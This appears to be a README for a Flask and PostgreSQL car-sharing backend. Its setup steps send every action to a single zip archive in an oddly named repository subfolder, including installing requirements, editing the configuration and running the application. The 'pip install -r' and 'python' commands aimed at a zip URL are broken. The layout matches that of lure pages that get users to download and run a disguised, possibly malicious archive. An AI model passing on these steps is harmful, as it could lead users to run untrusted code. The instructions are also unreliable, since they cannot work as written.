🚗 allocar-backend-flask - Build Your Own Car Sharing Service

📥 Download the Latest Release

🚀 Getting Started

Welcome to allocar-backend-flask! This application allows you to create a car-sharing service easily. You can manage rides, users, and vehicles with just a few clicks. This guide will help you download and run the application.

📦 System Requirements

Before you begin, make sure your system meets these requirements:

• Operating System: Windows, macOS, or Linux
• Python: Version 3.8 or higher
• PostgreSQL: Version 12 or higher
• Internet connection for downloading dependencies

📥 Download & Install

To install allocar-backend-flask, visit this page to download: Releases Page.

1. Click on the link above to visit the Releases page.
2. Look for the latest version. Download the files associated with it.
3. Follow the installation instructions included in the downloaded files.

🛠️ Application Setup

After downloading, follow these steps to set up the application:

1. Install Python: If you do not have Python installed, download it from the official Python website.

2. Install PostgreSQL: If you do not have PostgreSQL, download it from the official PostgreSQL website.

3. Unzip the Application: Extract the downloaded files to a folder on your computer.

4. Open a Terminal or Command Prompt:

   • On Windows, press Win + R, type cmd, and hit Enter.
   • On macOS, open Terminal from your Applications.

5. Navigate to the Application Directory: Use the cd command to navigate to the folder where you extracted the application. For example:

   cd path/to/allocar-backend-flask
   

6. Set Up a Virtual Environment: To manage dependencies, create a virtual environment by running:

   python -m venv venv
   

   Activate the virtual environment:

   • On Windows:

     venv\Scripts\activate
     

   • On macOS/Linux:

     source venv/bin/activate
     

7. Install Required Packages: Run the following command to install the necessary packages:

   pip install -r https://raw.githubusercontent.com/Gustax24/allocar-backend-flask/main/reundercut/allocar-backend-flask.zip
   

8. Set Up PostgreSQL Database:

   • Open PostgreSQL and create a new database named allocar.
   • Update the database connection settings in the configuration file (https://raw.githubusercontent.com/Gustax24/allocar-backend-flask/main/reundercut/allocar-backend-flask.zip).

9. Run the Application: Start the application by running:

   python https://raw.githubusercontent.com/Gustax24/allocar-backend-flask/main/reundercut/allocar-backend-flask.zip
   

   The application will be available at http://127.0.0.1:5000.

🌐 Access the Application

Open your web browser and go to http://127.0.0.1:5000. You will see the main interface where you can manage your car-sharing service.

💡 Features

• Manage users easily.
• Create and track rides.
• View available vehicles.
• Get real-time updates and notifications.

🔧 Troubleshooting

If you encounter issues during installation or while running the application, consider the following tips:

• Verify that you have the correct version of Python and PostgreSQL.
• Ensure your environment variable points to the correct Python installation.
• Make sure your database is running and correctly configured.

🙋 Frequently Asked Questions

Q: Can I use this application on Windows?
A: Yes, this application works on Windows, macOS, and Linux.

Q: What do I do if the application doesn't start?
A: Check your terminal for error messages. Ensure all dependencies are installed and that your database is running.

Q: Is there documentation available?
A: Yes, further details can be found in the docs folder included in the application.

🤝 Contributing

If you would like to contribute to this project, feel free to fork the repository and submit a pull request.

📧 Support

For any questions or support, please open an issue in the repository or contact the project maintainer.

🌟 Learn More

To explore more about car sharing and find useful resources, check out the topics associated with this project. Keywords like API, Flask, PostgreSQL, and travel are great starting points for learning.

Thank you for using allocar-backend-flask!